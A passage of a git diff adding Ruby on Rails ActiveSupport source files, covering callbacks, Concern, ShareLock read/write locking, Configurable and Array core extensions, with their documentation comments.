+        # Around callbacks can access the return value from the event, if it
+        # wasn't halted, from the +yield+ call.
+        #
+        # ===== Options
+        #
+        # * <tt>:if</tt> - A symbol, a string (deprecated) or an array of symbols,
+        #   each naming an instance method or a proc; the callback will be called
+        #   only when they all return a true value.
+        # * <tt>:unless</tt> - A symbol, a string (deprecated) or an array of symbols,
+        #   each naming an instance method or a proc; the callback will be called
+        #   only when they all return a false value.
+        # * <tt>:prepend</tt> - If +true+, the callback will be prepended to the
+        #   existing chain rather than appended.
+        def set_callback(name, *filter_list, &block)
+          type, filters, options = normalize_callback_params(filter_list, block)
+
+          if options[:if].is_a?(String) || options[:unless].is_a?(String)
+            ActiveSupport::Deprecation.warn(<<-MSG.squish)
+              Passing string to be evaluated in :if and :unless conditional
+              options is deprecated and will be removed in Rails 5.2 without
+              replacement. Pass a symbol for an instance method, or a lambda,
+              proc or block, instead.
+            MSG
+          end
+
+          self_chain = get_callbacks name
+          mapped = filters.map do |filter|
+            Callback.build(self_chain, filter, type, options)
+          end
+
+          __update_callbacks(name) do |target, chain|
+            options[:prepend] ? chain.prepend(*mapped) : chain.append(*mapped)
+            target.set_callbacks name, chain
+          end
+        end
+
+        # Skip a previously set callback. Like +set_callback+, <tt>:if</tt> or
+        # <tt>:unless</tt> options may be passed in order to control when the
+        # callback is skipped.
+        #
+        #   class Writer < Person
+        #      skip_callback :validate, :before, :check_membership, if: -> { age > 18 }
+        #   end
+        #
+        # An <tt>ArgumentError</tt> will be raised if the callback has not
+        # already been set (unless the <tt>:raise</tt> option is set to <tt>false</tt>).
+        def skip_callback(name, *filter_list, &block)
+          type, filters, options = normalize_callback_params(filter_list, block)
+
+          if options[:if].is_a?(String) || options[:unless].is_a?(String)
+            ActiveSupport::Deprecation.warn(<<-MSG.squish)
+              Passing string to :if and :unless conditional options is deprecated
+              and will be removed in Rails 5.2 without replacement.
+            MSG
+          end
+
+          options[:raise] = true unless options.key?(:raise)
+
+          __update_callbacks(name) do |target, chain|
+            filters.each do |filter|
+              callback = chain.find { |c| c.matches?(type, filter) }
+
+              if !callback && options[:raise]
+                raise ArgumentError, "#{type.to_s.capitalize} #{name} callback #{filter.inspect} has not been defined"
+              end
+
+              if callback && (options.key?(:if) || options.key?(:unless))
+                new_callback = callback.merge_conditional_options(chain, if_option: options[:if], unless_option: options[:unless])
+                chain.insert(chain.index(callback), new_callback)
+              end
+
+              chain.delete(callback)
+            end
+            target.set_callbacks name, chain
+          end
+        end
+
+        # Remove all set callbacks for the given event.
+        def reset_callbacks(name)
+          callbacks = get_callbacks name
+
+          ActiveSupport::DescendantsTracker.descendants(self).each do |target|
+            chain = target.get_callbacks(name).dup
+            callbacks.each { |c| chain.delete(c) }
+            target.set_callbacks name, chain
+          end
+
+          set_callbacks(name, callbacks.dup.clear)
+        end
+
+        # Define sets of events in the object life cycle that support callbacks.
+        #
+        #   define_callbacks :validate
+        #   define_callbacks :initialize, :save, :destroy
+        #
+        # ===== Options
+        #
+        # * <tt>:terminator</tt> - Determines when a before filter will halt the
+        #   callback chain, preventing following before and around callbacks from
+        #   being called and the event from being triggered.
+        #   This should be a lambda to be executed.
+        #   The current object and the result lambda of the callback will be provided
+        #   to the terminator lambda.
+        #
+        #     define_callbacks :validate, terminator: ->(target, result_lambda) { result_lambda.call == false }
+        #
+        #   In this example, if any before validate callbacks returns +false+,
+        #   any successive before and around callback is not executed.
+        #
+        #   The default terminator halts the chain when a callback throws +:abort+.
+        #
+        # * <tt>:skip_after_callbacks_if_terminated</tt> - Determines if after
+        #   callbacks should be terminated by the <tt>:terminator</tt> option. By
+        #   default after callbacks are executed no matter if callback chain was
+        #   terminated or not. This option makes sense only when <tt>:terminator</tt>
+        #   option is specified.
+        #
+        # * <tt>:scope</tt> - Indicates which methods should be executed when an
+        #   object is used as a callback.
+        #
+        #     class Audit
+        #       def before(caller)
+        #         puts 'Audit: before is called'
+        #       end
+        #
+        #       def before_save(caller)
+        #         puts 'Audit: before_save is called'
+        #       end
+        #     end
+        #
+        #     class Account
+        #       include ActiveSupport::Callbacks
+        #
+        #       define_callbacks :save
+        #       set_callback :save, :before, Audit.new
+        #
+        #       def save
+        #         run_callbacks :save do
+        #           puts 'save in main'
+        #         end
+        #       end
+        #     end
+        #
+        #   In the above case whenever you save an account the method
+        #   <tt>Audit#before</tt> will be called. On the other hand
+        #
+        #     define_callbacks :save, scope: [:kind, :name]
+        #
+        #   would trigger <tt>Audit#before_save</tt> instead. That's constructed
+        #   by calling <tt>#{kind}_#{name}</tt> on the given instance. In this
+        #   case "kind" is "before" and "name" is "save". In this context +:kind+
+        #   and +:name+ have special meanings: +:kind+ refers to the kind of
+        #   callback (before/after/around) and +:name+ refers to the method on
+        #   which callbacks are being defined.
+        #
+        #   A declaration like
+        #
+        #     define_callbacks :save, scope: [:name]
+        #
+        #   would call <tt>Audit#save</tt>.
+        #
+        # ===== Notes
+        #
+        # +names+ passed to +define_callbacks+ must not end with
+        # <tt>!</tt>, <tt>?</tt> or <tt>=</tt>.
+        #
+        # Calling +define_callbacks+ multiple times with the same +names+ will
+        # overwrite previous callbacks registered with +set_callback+.
+        def define_callbacks(*names)
+          options = names.extract_options!
+
+          names.each do |name|
+            name = name.to_sym
+
+            set_callbacks name, CallbackChain.new(name, options)
+
+            module_eval <<-RUBY, __FILE__, __LINE__ + 1
+              def _run_#{name}_callbacks(&block)
+                run_callbacks #{name.inspect}, &block
+              end
+
+              def self._#{name}_callbacks
+                get_callbacks(#{name.inspect})
+              end
+
+              def self._#{name}_callbacks=(value)
+                set_callbacks(#{name.inspect}, value)
+              end
+
+              def _#{name}_callbacks
+                __callbacks[#{name.inspect}]
+              end
+            RUBY
+          end
+        end
+
+        protected
+
+          def get_callbacks(name) # :nodoc:
+            __callbacks[name.to_sym]
+          end
+
+          def set_callbacks(name, callbacks) # :nodoc:
+            self.__callbacks = __callbacks.merge(name.to_sym => callbacks)
+          end
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/concern.rb b/activesupport/lib/active_support/concern.rb
new file mode 100644
index 0000000000..32b5ca986b
--- /dev/null
+++ b/activesupport/lib/active_support/concern.rb
@@ -0,0 +1,144 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  # A typical module looks like this:
+  #
+  #   module M
+  #     def self.included(base)
+  #       base.extend ClassMethods
+  #       base.class_eval do
+  #         scope :disabled, -> { where(disabled: true) }
+  #       end
+  #     end
+  #
+  #     module ClassMethods
+  #       ...
+  #     end
+  #   end
+  #
+  # By using <tt>ActiveSupport::Concern</tt> the above module could instead be
+  # written as:
+  #
+  #   require 'active_support/concern'
+  #
+  #   module M
+  #     extend ActiveSupport::Concern
+  #
+  #     included do
+  #       scope :disabled, -> { where(disabled: true) }
+  #     end
+  #
+  #     class_methods do
+  #       ...
+  #     end
+  #   end
+  #
+  # Moreover, it gracefully handles module dependencies. Given a +Foo+ module
+  # and a +Bar+ module which depends on the former, we would typically write the
+  # following:
+  #
+  #   module Foo
+  #     def self.included(base)
+  #       base.class_eval do
+  #         def self.method_injected_by_foo
+  #           ...
+  #         end
+  #       end
+  #     end
+  #   end
+  #
+  #   module Bar
+  #     def self.included(base)
+  #       base.method_injected_by_foo
+  #     end
+  #   end
+  #
+  #   class Host
+  #     include Foo # We need to include this dependency for Bar
+  #     include Bar # Bar is the module that Host really needs
+  #   end
+  #
+  # But why should +Host+ care about +Bar+'s dependencies, namely +Foo+? We
+  # could try to hide these from +Host+ directly including +Foo+ in +Bar+:
+  #
+  #   module Bar
+  #     include Foo
+  #     def self.included(base)
+  #       base.method_injected_by_foo
+  #     end
+  #   end
+  #
+  #   class Host
+  #     include Bar
+  #   end
+  #
+  # Unfortunately this won't work, since when +Foo+ is included, its <tt>base</tt>
+  # is the +Bar+ module, not the +Host+ class. With <tt>ActiveSupport::Concern</tt>,
+  # module dependencies are properly resolved:
+  #
+  #   require 'active_support/concern'
+  #
+  #   module Foo
+  #     extend ActiveSupport::Concern
+  #     included do
+  #       def self.method_injected_by_foo
+  #         ...
+  #       end
+  #     end
+  #   end
+  #
+  #   module Bar
+  #     extend ActiveSupport::Concern
+  #     include Foo
+  #
+  #     included do
+  #       self.method_injected_by_foo
+  #     end
+  #   end
+  #
+  #   class Host
+  #     include Bar # It works, now Bar takes care of its dependencies
+  #   end
+  module Concern
+    class MultipleIncludedBlocks < StandardError #:nodoc:
+      def initialize
+        super "Cannot define multiple 'included' blocks for a Concern"
+      end
+    end
+
+    def self.extended(base) #:nodoc:
+      base.instance_variable_set(:@_dependencies, [])
+    end
+
+    def append_features(base)
+      if base.instance_variable_defined?(:@_dependencies)
+        base.instance_variable_get(:@_dependencies) << self
+        return false
+      else
+        return false if base < self
+        @_dependencies.each { |dep| base.include(dep) }
+        super
+        base.extend const_get(:ClassMethods) if const_defined?(:ClassMethods)
+        base.class_eval(&@_included_block) if instance_variable_defined?(:@_included_block)
+      end
+    end
+
+    def included(base = nil, &block)
+      if base.nil?
+        raise MultipleIncludedBlocks if instance_variable_defined?(:@_included_block)
+
+        @_included_block = block
+      else
+        super
+      end
+    end
+
+    def class_methods(&class_methods_module_definition)
+      mod = const_defined?(:ClassMethods, false) ?
+        const_get(:ClassMethods) :
+        const_set(:ClassMethods, Module.new)
+
+      mod.module_eval(&class_methods_module_definition)
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/concurrency/share_lock.rb b/activesupport/lib/active_support/concurrency/share_lock.rb
new file mode 100644
index 0000000000..f18ccf1c88
--- /dev/null
+++ b/activesupport/lib/active_support/concurrency/share_lock.rb
@@ -0,0 +1,227 @@
+# frozen_string_literal: true
+
+require "thread"
+require "monitor"
+
+module ActiveSupport
+  module Concurrency
+    # A share/exclusive lock, otherwise known as a read/write lock.
+    #
+    # https://en.wikipedia.org/wiki/Readers%E2%80%93writer_lock
+    class ShareLock
+      include MonitorMixin
+
+      # We track Thread objects, instead of just using counters, because
+      # we need exclusive locks to be reentrant, and we need to be able
+      # to upgrade share locks to exclusive.
+
+      def raw_state # :nodoc:
+        synchronize do
+          threads = @sleeping.keys | @sharing.keys | @waiting.keys
+          threads |= [@exclusive_thread] if @exclusive_thread
+
+          data = {}
+
+          threads.each do |thread|
+            purpose, compatible = @waiting[thread]
+
+            data[thread] = {
+              thread: thread,
+              sharing: @sharing[thread],
+              exclusive: @exclusive_thread == thread,
+              purpose: purpose,
+              compatible: compatible,
+              waiting: !!@waiting[thread],
+              sleeper: @sleeping[thread],
+            }
+          end
+
+          # NB: Yields while holding our *internal* synchronize lock,
+          # which is supposed to be used only for a few instructions at
+          # a time. This allows the caller to inspect additional state
+          # without things changing out from underneath, but would have
+          # disastrous effects upon normal operation. Fortunately, this
+          # method is only intended to be called when things have
+          # already gone wrong.
+          yield data
+        end
+      end
+
+      def initialize
+        super()
+
+        @cv = new_cond
+
+        @sharing = Hash.new(0)
+        @waiting = {}
+        @sleeping = {}
+        @exclusive_thread = nil
+        @exclusive_depth = 0
+      end
+
+      # Returns false if +no_wait+ is set and the lock is not
+      # immediately available. Otherwise, returns true after the lock
+      # has been acquired.
+      #
+      # +purpose+ and +compatible+ work together; while this thread is
+      # waiting for the exclusive lock, it will yield its share (if any)
+      # to any other attempt whose +purpose+ appears in this attempt's
+      # +compatible+ list. This allows a "loose" upgrade, which, being
+      # less strict, prevents some classes of deadlocks.
+      #
+      # For many resources, loose upgrades are sufficient: if a thread
+      # is awaiting a lock, it is not running any other code. With
+      # +purpose+ matching, it is possible to yield only to other
+      # threads whose activity will not interfere.
+      def start_exclusive(purpose: nil, compatible: [], no_wait: false)
+        synchronize do
+          unless @exclusive_thread == Thread.current
+            if busy_for_exclusive?(purpose)
+              return false if no_wait
+
+              yield_shares(purpose: purpose, compatible: compatible, block_share: true) do
+                wait_for(:start_exclusive) { busy_for_exclusive?(purpose) }
+              end
+            end
+            @exclusive_thread = Thread.current
+          end
+          @exclusive_depth += 1
+
+          true
+        end
+      end
+
+      # Relinquish the exclusive lock. Must only be called by the thread
+      # that called start_exclusive (and currently holds the lock).
+      def stop_exclusive(compatible: [])
+        synchronize do
+          raise "invalid unlock" if @exclusive_thread != Thread.current
+
+          @exclusive_depth -= 1
+          if @exclusive_depth == 0
+            @exclusive_thread = nil
+
+            if eligible_waiters?(compatible)
+              yield_shares(compatible: compatible, block_share: true) do
+                wait_for(:stop_exclusive) { @exclusive_thread || eligible_waiters?(compatible) }
+              end
+            end
+            @cv.broadcast
+          end
+        end
+      end
+
+      def start_sharing
+        synchronize do
+          if @sharing[Thread.current] > 0 || @exclusive_thread == Thread.current
+            # We already hold a lock; nothing to wait for
+          elsif @waiting[Thread.current]
+            # We're nested inside a +yield_shares+ call: we'll resume as
+            # soon as there isn't an exclusive lock in our way
+            wait_for(:start_sharing) { @exclusive_thread }
+          else
+            # This is an initial / outermost share call: any outstanding
+            # requests for an exclusive lock get to go first
+            wait_for(:start_sharing) { busy_for_sharing?(false) }
+          end
+          @sharing[Thread.current] += 1
+        end
+      end
+
+      def stop_sharing
+        synchronize do
+          if @sharing[Thread.current] > 1
+            @sharing[Thread.current] -= 1
+          else
+            @sharing.delete Thread.current
+            @cv.broadcast
+          end
+        end
+      end
+
+      # Execute the supplied block while holding the Exclusive lock. If
+      # +no_wait+ is set and the lock is not immediately available,
+      # returns +nil+ without yielding. Otherwise, returns the result of
+      # the block.
+      #
+      # See +start_exclusive+ for other options.
+      def exclusive(purpose: nil, compatible: [], after_compatible: [], no_wait: false)
+        if start_exclusive(purpose: purpose, compatible: compatible, no_wait: no_wait)
+          begin
+            yield
+          ensure
+            stop_exclusive(compatible: after_compatible)
+          end
+        end
+      end
+
+      # Execute the supplied block while holding the Share lock.
+      def sharing
+        start_sharing
+        begin
+          yield
+        ensure
+          stop_sharing
+        end
+      end
+
+      # Temporarily give up all held Share locks while executing the
+      # supplied block, allowing any +compatible+ exclusive lock request
+      # to proceed.
+      def yield_shares(purpose: nil, compatible: [], block_share: false)
+        loose_shares = previous_wait = nil
+        synchronize do
+          if loose_shares = @sharing.delete(Thread.current)
+            if previous_wait = @waiting[Thread.current]
+              purpose = nil unless purpose == previous_wait[0]
+              compatible &= previous_wait[1]
+            end
+            compatible |= [false] unless block_share
+            @waiting[Thread.current] = [purpose, compatible]
+          end
+
+          @cv.broadcast
+        end
+
+        begin
+          yield
+        ensure
+          synchronize do
+            wait_for(:yield_shares) { @exclusive_thread && @exclusive_thread != Thread.current }
+
+            if previous_wait
+              @waiting[Thread.current] = previous_wait
+            else
+              @waiting.delete Thread.current
+            end
+            @sharing[Thread.current] = loose_shares if loose_shares
+          end
+        end
+      end
+
+      private
+
+        # Must be called within synchronize
+        def busy_for_exclusive?(purpose)
+          busy_for_sharing?(purpose) ||
+            @sharing.size > (@sharing[Thread.current] > 0 ? 1 : 0)
+        end
+
+        def busy_for_sharing?(purpose)
+          (@exclusive_thread && @exclusive_thread != Thread.current) ||
+            @waiting.any? { |t, (_, c)| t != Thread.current && !c.include?(purpose) }
+        end
+
+        def eligible_waiters?(compatible)
+          @waiting.any? { |t, (p, _)| compatible.include?(p) && @waiting.all? { |t2, (_, c2)| t == t2 || c2.include?(p) } }
+        end
+
+        def wait_for(method)
+          @sleeping[Thread.current] = method
+          @cv.wait_while { yield }
+        ensure
+          @sleeping.delete Thread.current
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/configurable.rb b/activesupport/lib/active_support/configurable.rb
new file mode 100644
index 0000000000..8e8e27b4ec
--- /dev/null
+++ b/activesupport/lib/active_support/configurable.rb
@@ -0,0 +1,150 @@
+# frozen_string_literal: true
+
+require_relative "concern"
+require_relative "ordered_options"
+require_relative "core_ext/array/extract_options"
+require_relative "core_ext/regexp"
+
+module ActiveSupport
+  # Configurable provides a <tt>config</tt> method to store and retrieve
+  # configuration options as an <tt>OrderedHash</tt>.
+  module Configurable
+    extend ActiveSupport::Concern
+
+    class Configuration < ActiveSupport::InheritableOptions
+      def compile_methods!
+        self.class.compile_methods!(keys)
+      end
+
+      # Compiles reader methods so we don't have to go through method_missing.
+      def self.compile_methods!(keys)
+        keys.reject { |m| method_defined?(m) }.each do |key|
+          class_eval <<-RUBY, __FILE__, __LINE__ + 1
+            def #{key}; _get(#{key.inspect}); end
+          RUBY
+        end
+      end
+    end
+
+    module ClassMethods
+      def config
+        @_config ||= if respond_to?(:superclass) && superclass.respond_to?(:config)
+          superclass.config.inheritable_copy
+        else
+          # create a new "anonymous" class that will host the compiled reader methods
+          Class.new(Configuration).new
+        end
+      end
+
+      def configure
+        yield config
+      end
+
+      # Allows you to add shortcut so that you don't have to refer to attribute
+      # through config. Also look at the example for config to contrast.
+      #
+      # Defines both class and instance config accessors.
+      #
+      #   class User
+      #     include ActiveSupport::Configurable
+      #     config_accessor :allowed_access
+      #   end
+      #
+      #   User.allowed_access # => nil
+      #   User.allowed_access = false
+      #   User.allowed_access # => false
+      #
+      #   user = User.new
+      #   user.allowed_access # => false
+      #   user.allowed_access = true
+      #   user.allowed_access # => true
+      #
+      #   User.allowed_access # => false
+      #
+      # The attribute name must be a valid method name in Ruby.
+      #
+      #   class User
+      #     include ActiveSupport::Configurable
+      #     config_accessor :"1_Badname"
+      #   end
+      #   # => NameError: invalid config attribute name
+      #
+      # To opt out of the instance writer method, pass <tt>instance_writer: false</tt>.
+      # To opt out of the instance reader method, pass <tt>instance_reader: false</tt>.
+      #
+      #   class User
+      #     include ActiveSupport::Configurable
+      #     config_accessor :allowed_access, instance_reader: false, instance_writer: false
+      #   end
+      #
+      #   User.allowed_access = false
+      #   User.allowed_access # => false
+      #
+      #   User.new.allowed_access = true # => NoMethodError
+      #   User.new.allowed_access        # => NoMethodError
+      #
+      # Or pass <tt>instance_accessor: false</tt>, to opt out both instance methods.
+      #
+      #   class User
+      #     include ActiveSupport::Configurable
+      #     config_accessor :allowed_access, instance_accessor: false
+      #   end
+      #
+      #   User.allowed_access = false
+      #   User.allowed_access # => false
+      #
+      #   User.new.allowed_access = true # => NoMethodError
+      #   User.new.allowed_access        # => NoMethodError
+      #
+      # Also you can pass a block to set up the attribute with a default value.
+      #
+      #   class User
+      #     include ActiveSupport::Configurable
+      #     config_accessor :hair_colors do
+      #       [:brown, :black, :blonde, :red]
+      #     end
+      #   end
+      #
+      #   User.hair_colors # => [:brown, :black, :blonde, :red]
+      def config_accessor(*names)
+        options = names.extract_options!
+
+        names.each do |name|
+          raise NameError.new("invalid config attribute name") unless /\A[_A-Za-z]\w*\z/.match?(name)
+
+          reader, reader_line = "def #{name}; config.#{name}; end", __LINE__
+          writer, writer_line = "def #{name}=(value); config.#{name} = value; end", __LINE__
+
+          singleton_class.class_eval reader, __FILE__, reader_line
+          singleton_class.class_eval writer, __FILE__, writer_line
+
+          unless options[:instance_accessor] == false
+            class_eval reader, __FILE__, reader_line unless options[:instance_reader] == false
+            class_eval writer, __FILE__, writer_line unless options[:instance_writer] == false
+          end
+          send("#{name}=", yield) if block_given?
+        end
+      end
+      private :config_accessor
+    end
+
+    # Reads and writes attributes from a configuration <tt>OrderedHash</tt>.
+    #
+    #   require 'active_support/configurable'
+    #
+    #   class User
+    #     include ActiveSupport::Configurable
+    #   end
+    #
+    #   user = User.new
+    #
+    #   user.config.allowed_access = true
+    #   user.config.level = 1
+    #
+    #   user.config.allowed_access # => true
+    #   user.config.level          # => 1
+    def config
+      @_config ||= self.class.config.inheritable_copy
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext.rb b/activesupport/lib/active_support/core_ext.rb
new file mode 100644
index 0000000000..f590605d84
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+Dir.glob(File.expand_path("core_ext/*.rb", __dir__)).each do |path|
+  require path
+end
diff --git a/activesupport/lib/active_support/core_ext/array.rb b/activesupport/lib/active_support/core_ext/array.rb
new file mode 100644
index 0000000000..fdc209ef68
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/array.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+require_relative "array/wrap"
+require_relative "array/access"
+require_relative "array/conversions"
+require_relative "array/extract_options"
+require_relative "array/grouping"
+require_relative "array/prepend_and_append"
+require_relative "array/inquiry"
diff --git a/activesupport/lib/active_support/core_ext/array/access.rb b/activesupport/lib/active_support/core_ext/array/access.rb
new file mode 100644
index 0000000000..d67f99df0e
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/array/access.rb
@@ -0,0 +1,92 @@
+# frozen_string_literal: true
+
+class Array
+  # Returns the tail of the array from +position+.
+  #
+  #   %w( a b c d ).from(0)  # => ["a", "b", "c", "d"]
+  #   %w( a b c d ).from(2)  # => ["c", "d"]
+  #   %w( a b c d ).from(10) # => []
+  #   %w().from(0)           # => []
+  #   %w( a b c d ).from(-2) # => ["c", "d"]
+  #   %w( a b c ).from(-10)  # => []
+  def from(position)
+    self[position, length] || []
+  end
+
+  # Returns the beginning of the array up to +position+.
+  #
+  #   %w( a b c d ).to(0)  # => ["a"]
+  #   %w( a b c d ).to(2)  # => ["a", "b", "c"]
+  #   %w( a b c d ).to(10) # => ["a", "b", "c", "d"]
+  #   %w().to(0)           # => []
+  #   %w( a b c d ).to(-2) # => ["a", "b", "c"]
+  #   %w( a b c ).to(-10)  # => []
+  def to(position)
+    if position >= 0
+      take position + 1
+    else
+      self[0..position]
+    end
+  end
+
+  # Returns a copy of the Array without the specified elements.
+  #
+  #   people = ["David", "Rafael", "Aaron", "Todd"]
+  #   people.without "Aaron", "Todd"
+  #   # => ["David", "Rafael"]
+  #
+  # Note: This is an optimization of `Enumerable#without` that uses `Array#-`
+  # instead of `Array#reject` for performance reasons.
+  def without(*elements)
+    self - elements
+  end
+
+  # Equal to <tt>self[1]</tt>.
+  #
+  #   %w( a b c d e ).second # => "b"
+  def second
+    self[1]
+  end
+
+  # Equal to <tt>self[2]</tt>.
+  #
+  #   %w( a b c d e ).third # => "c"
+  def third
+    self[2]
+  end
+
+  # Equal to <tt>self[3]</tt>.
+  #
+  #   %w( a b c d e ).fourth # => "d"
+  def fourth
+    self[3]
+  end
+
+  # Equal to <tt>self[4]</tt>.
+  #
+  #   %w( a b c d e ).fifth # => "e"
+  def fifth
+    self[4]
+  end
+
+  # Equal to <tt>self[41]</tt>. Also known as accessing "the reddit".
+  #
+  #   (1..42).to_a.forty_two # => 42
+  def forty_two
+    self[41]
+  end
+
+  # Equal to <tt>self[-3]</tt>.
+  #
+  #   %w( a b c d e ).third_to_last # => "c"
+  def third_to_last
+    self[-3]
+  end
+
+  # Equal to <tt>self[-2]</tt>.
+  #
+  #   %w( a b c d e ).second_to_last # => "d"
+  def second_to_last
+    self[-2]
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/array/conversions.rb b/activesupport/lib/active_support/core_ext/array/conversions.rb
new file mode 100644
index 0000000000..6e17a81f0f
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/array/conversions.rb
@@ -0,0 +1,213 @@
+# frozen_string_literal: true
+
+require_relative "../../xml_mini"
+require_relative "../hash/keys"
+require_relative "../string/inflections"
+require_relative "../object/to_param"
+require_relative "../object/to_query"
+
+class Array
+  # Converts the array to a comma-separated sentence where the last element is
+  # joined by the connector word.
+  #
+  # You can pass the following options to change the default behavior. If you
+  # pass an option key that doesn't exist in the list below, it will raise an
+  # <tt>ArgumentError</tt>.
+  #
+  # ==== Options
+  #
+  # * <tt>:words_connector</tt> - The sign or word used to join the elements
+  #   in arrays with two or more elements (default: ", ").
+  # * <tt>:two_words_connector</tt> - The sign or word used to join the elements
+  #   in arrays with two elements (default: " and ").
+  # * <tt>:last_word_connector</tt> - The sign or word used to join the last element
+  #   in arrays with three or more elements (default: ", and ").
+  # * <tt>:locale</tt> - If +i18n+ is available, you can set a locale and use
+  #   the connector options defined on the 'support.array' namespace in the
+  #   corresponding dictionary file.
+  #
+  # ==== Examples
+  #
+  #   [].to_sentence                      # => ""
+  #   ['one'].to_sentence                 # => "one"
+  #   ['one', 'two'].to_sentence          # => "one and two"
+  #   ['one', 'two', 'three'].to_sentence # => "one, two, and three"
+  #
+  #   ['one', 'two'].to_sentence(passing: 'invalid option')
+  #   # => ArgumentError: Unknown key: :passing. Valid keys are: :words_connector, :two_words_connector, :last_word_connector, :locale
+  #
+  #   ['one', 'two'].to_sentence(two_words_connector: '-')
+  #   # => "one-two"
+  #
+  #   ['one', 'two', 'three'].to_sentence(words_connector: ' or ', last_word_connector: ' or at least ')
+  #   # => "one or two or at least three"
+  #
+  # Using <tt>:locale</tt> option:
+  #
+  #   # Given this locale dictionary:
+  #   #
+  #   #   es:
+  #   #     support:
+  #   #       array:
+  #   #         words_connector: " o "
+  #   #         two_words_connector: " y "
+  #   #         last_word_connector: " o al menos "
+  #
+  #   ['uno', 'dos'].to_sentence(locale: :es)
+  #   # => "uno y dos"
+  #
+  #   ['uno', 'dos', 'tres'].to_sentence(locale: :es)
+  #   # => "uno o dos o al menos tres"
+  def to_sentence(options = {})
+    options.assert_valid_keys(:words_connector, :two_words_connector, :last_word_connector, :locale)
+
+    default_connectors = {
+      words_connector: ", ",
+      two_words_connector: " and ",
+      last_word_connector: ", and "
+    }
+    if defined?(I18n)
+      i18n_connectors = I18n.translate(:'support.array', locale: options[:locale], default: {})
+      default_connectors.merge!(i18n_connectors)
+    end
+    options = default_connectors.merge!(options)
+
+    case length
+    when 0
+      ""
+    when 1
+      "#{self[0]}"
+    when 2
+      "#{self[0]}#{options[:two_words_connector]}#{self[1]}"
+    else
+      "#{self[0...-1].join(options[:words_connector])}#{options[:last_word_connector]}#{self[-1]}"
+    end
+  end
+
+  # Extends <tt>Array#to_s</tt> to convert a collection of elements into a
+  # comma separated id list if <tt>:db</tt> argument is given as the format.
+  #
+  #   Blog.all.to_formatted_s(:db)  # => "1,2,3"
+  #   Blog.none.to_formatted_s(:db) # => "null"
+  #   [1,2].to_formatted_s          # => "[1, 2]"
+  def to_formatted_s(format = :default)
+    case format
+    when :db
+      if empty?
+        "null"
+      else
+        collect(&:id).join(",")
+      end
+    else
+      to_default_s
+    end
+  end
+  alias_method :to_default_s, :to_s
+  alias_method :to_s, :to_formatted_s
+
+  # Returns a string that represents the array in XML by invoking +to_xml+
+  # on each element. Active Record collections delegate their representation
+  # in XML to this method.
+  #
+  # All elements are expected to respond to +to_xml+, if any of them does
+  # not then an exception is raised.
+  #
+  # The root node reflects the class name of the first element in plural
+  # if all elements belong to the same type and that's not Hash:
+  #
+  #   customer.projects.to_xml
+  #
+  #   <?xml version="1.0" encoding="UTF-8"?>
+  #   <projects type="array">
+  #     <project>
+  #       <amount type="decimal">20000.0</amount>
+  #       <customer-id type="integer">1567</customer-id>
+  #       <deal-date type="date">2008-04-09</deal-date>
+  #       ...
+  #     </project>
+  #     <project>
+  #       <amount type="decimal">57230.0</amount>
+  #       <customer-id type="integer">1567</customer-id>
+  #       <deal-date type="date">2008-04-15</deal-date>
+  #       ...
+  #     </project>
+  #   </projects>
+  #
+  # Otherwise the root element is "objects":
+  #
+  #   [{ foo: 1, bar: 2}, { baz: 3}].to_xml
+  #
+  #   <?xml version="1.0" encoding="UTF-8"?>
+  #   <objects type="array">
+  #     <object>
+  #       <bar type="integer">2</bar>
+  #       <foo type="integer">1</foo>
+  #     </object>
+  #     <object>
+  #       <baz type="integer">3</baz>
+  #     </object>
+  #   </objects>
+  #
+  # If the collection is empty the root element is "nil-classes" by default:
+  #
+  #   [].to_xml
+  #
+  #   <?xml version="1.0" encoding="UTF-8"?>
+  #   <nil-classes type="array"/>
+  #
+  # To ensure a meaningful root element use the <tt>:root</tt> option:
+  #
+  #   customer_with_no_projects.projects.to_xml(root: 'projects')
+  #
+  #   <?xml version="1.0" encoding="UTF-8"?>
+  #   <projects type="array"/>
+  #
+  # By default name of the node for the children of root is <tt>root.singularize</tt>.
+  # You can change it with the <tt>:children</tt> option.
+  #
+  # The +options+ hash is passed downwards:
+  #
+  #   Message.all.to_xml(skip_types: true)
+  #
+  #   <?xml version="1.0" encoding="UTF-8"?>
+  #   <messages>
+  #     <message>
+  #       <created-at>2008-03-07T09:58:18+01:00</created-at>
+  #       <id>1</id>
+  #       <name>1</name>
+  #       <updated-at>2008-03-07T09:58:18+01:00</updated-at>
+  #       <user-id>1</user-id>
+  #     </message>
+  #   </messages>
+  #
+  def to_xml(options = {})
+    require_relative "../../builder" unless defined?(Builder)
+
+    options = options.dup
+    options[:indent]  ||= 2
+    options[:builder] ||= Builder::XmlMarkup.new(indent: options[:indent])
+    options[:root]    ||= \
+      if first.class != Hash && all? { |e| e.is_a?(first.class) }
+        underscored = ActiveSupport::Inflector.underscore(first.class.name)
+        ActiveSupport::Inflector.pluralize(underscored).tr("/", "_")
+      else
+        "objects"
+      end
+
+    builder = options[:builder]
+    builder.instruct! unless options.delete(:skip_instruct)
+
+    root = ActiveSupport::XmlMini.rename_key(options[:root].to_s, options)
+    children = options.delete(:children) || root.singularize
+    attributes = options[:skip_types] ? {} : { type: "array" }
+
+    if empty?
+      builder.tag!(root, attributes)
+    else
+      builder.tag!(root, attributes) do
+        each { |value| ActiveSupport::XmlMini.to_tag(children, value, options) }
+        yield builder if block_given?
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/array/extract_options.rb b/activesupport/lib/active_support/core_ext/array/extract_options.rb
new file mode 100644
index 0000000000..8c7cb2e780
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/array/extract_options.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+class Hash
+  # By default, only instances of Hash itself are extractable.
+  # Subclasses of Hash may implement this method and return
+  # true to declare themselves as extractable. If a Hash
+  # is extractable, Array#extract_options! pops it from
+  # the Array when it is the last element of the Array.
+  def extractable_options?
